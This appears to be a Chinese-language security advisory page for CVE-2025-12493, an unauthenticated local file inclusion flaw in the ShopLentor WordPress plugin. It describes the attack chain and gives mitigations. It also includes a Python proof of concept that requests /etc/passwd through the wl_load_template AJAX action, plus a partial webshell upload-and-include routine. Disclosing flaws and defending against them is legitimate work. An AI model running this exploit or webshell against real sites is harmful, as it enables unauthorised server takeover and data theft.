IPBUF安全漏洞报告
English
CVE-2025-12493 CVSS 9.8 严重

CVE-2025-12493 | ShopLentor WordPress插件本地文件包含漏洞

披露日期: 2025-11-04

漏洞信息

漏洞编号
CVE-2025-12493
漏洞类型
本地文件包含
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ShopLentor (WooLentor) WordPress插件 for WooCommerce

相关标签

本地文件包含WordPress插件ShopLentorWooLentor远程代码执行CVE-2025-12493无需认证高危漏洞

漏洞概述

ShopLentor(原名WooLentor)是一款流行的WordPress插件,为Elementor和Gutenberg页面构建器提供WooCommerce集成功能。该插件在所有版本直至3.2.5存在严重的本地文件包含(LFI)漏洞,根源在于load_template函数缺乏充分的输入验证。未经认证的攻击者可利用此漏洞包含服务器上的任意.php文件,进而执行任意PHP代码。此漏洞可被用于绕过访问控制、获取敏感数据或在可上传并包含.php文件的场景下实现代码执行。由于CVSS评分高达9.8且无需认证即可利用,该漏洞对使用受影响版本插件的WordPress网站构成极高威胁。攻击者可通过构造恶意请求远程利用此漏洞,完全控制受影响的服务器。

技术细节

漏洞根源位于插件的class.ajax_actions.php文件中的load_template函数。该函数在处理用户请求时,未对传入的文件路径参数进行严格的路径遍历检查和输入验证。攻击者可通过构造包含路径遍历序列(如../)的请求参数,突破应用程序的预期文件访问范围,包含并执行服务器上任意位置的.php文件。具体来说,攻击者利用AJAX端点,构造类似wl_load_template的请求,通过file参数指定目标文件路径。由于函数直接使用include或require语句包含指定文件,攻击者可以包含预先上传的webshell或系统敏感文件(如/etc/passwd)来实现进一步攻击。此漏洞的技术特点包括:1) 无需认证即可利用;2) 通过WordPress AJAX API触发;3) 可配合文件上传功能实现完整攻击链;4) 影响所有使用load_template函数的模块,包括product-grid等组件。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标WordPress网站并确认是否安装ShopLentor插件及其版本(<=3.2.5)
STEP 2
步骤2
构造恶意请求:攻击者构造包含路径遍历序列的AJAX请求,以wl_load_template为action参数
STEP 3
步骤3
触发漏洞:向wp-admin/admin-ajax.php发送POST请求,file参数指向目标.php文件(如webshell)
STEP 4
步骤4
文件包含执行:服务器端load_template函数未经验证直接include请求的文件路径,导致任意PHP代码执行
STEP 5
步骤5
后渗透利用:攻击者通过webshell执行系统命令,可获取服务器完全控制权、窃取数据库凭据或植入持久性后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12493 PoC - ShopLentor LFI Vulnerability # Target: WordPress site with ShopLentor plugin <= 3.2.5 TARGET = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # LFI via load_template function # Attack vector: Include arbitrary .php files def exploit_lfi(target, filename='/etc/passwd'): """Exploit local file inclusion via load_template""" endpoint = f"{target}/wp-admin/admin-ajax.php" # Payload for LFI via wl_load_template action data = { 'action': 'wl_load_template', 'file': filename # Path traversal possible } print(f"[*] Targeting: {target}") print(f"[*] Requesting file: {filename}") try: response = requests.post(endpoint, data=data, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") if response.status_code == 200 and 'root:' in response.text: print("[!] VULNERABLE - File inclusion successful!") print(response.text[:500]) return True else: print("[-] Target may not be vulnerable") return False except Exception as e: print(f"[-] Error: {e}") return False # Alternative: Upload and include webshell def upload_and_include(target, webshell_path): """Upload PHP shell and include it for RCE""" upload_endpoint = f"{target}/wp-admin/admin-ajax.php" # Upload malicious file files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')} data = {'action': 'woolentor_upload_file'} # Then include the uploaded file include_data = { 'action': 'wl_load_template', 'file': '/path/to/uploaded/shell.php' } print("[*] Uploading webshell...") print("[*] Including uploaded file for RCE...") if __name__ == '__main__': print("CVE-2025-12493 PoC - ShopLentor LFI") exploit_lfi(TARGET, '/etc/passwd')

影响范围

ShopLentor (WooLentor) <= 3.2.5

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 临时禁用ShopLentor插件;2) 通过.htaccess或Nginx配置限制对admin-ajax.php的访问,阻止未授权的wl_load_template请求;3) 启用Web应用防火墙规则阻止路径遍历Payload(如../);4) 限制WordPress文件上传目录的PHP执行权限,添加"Options -ExecCGI"和"RemoveHandler .php"规则;5) 监控access.log中异常的AJAX请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表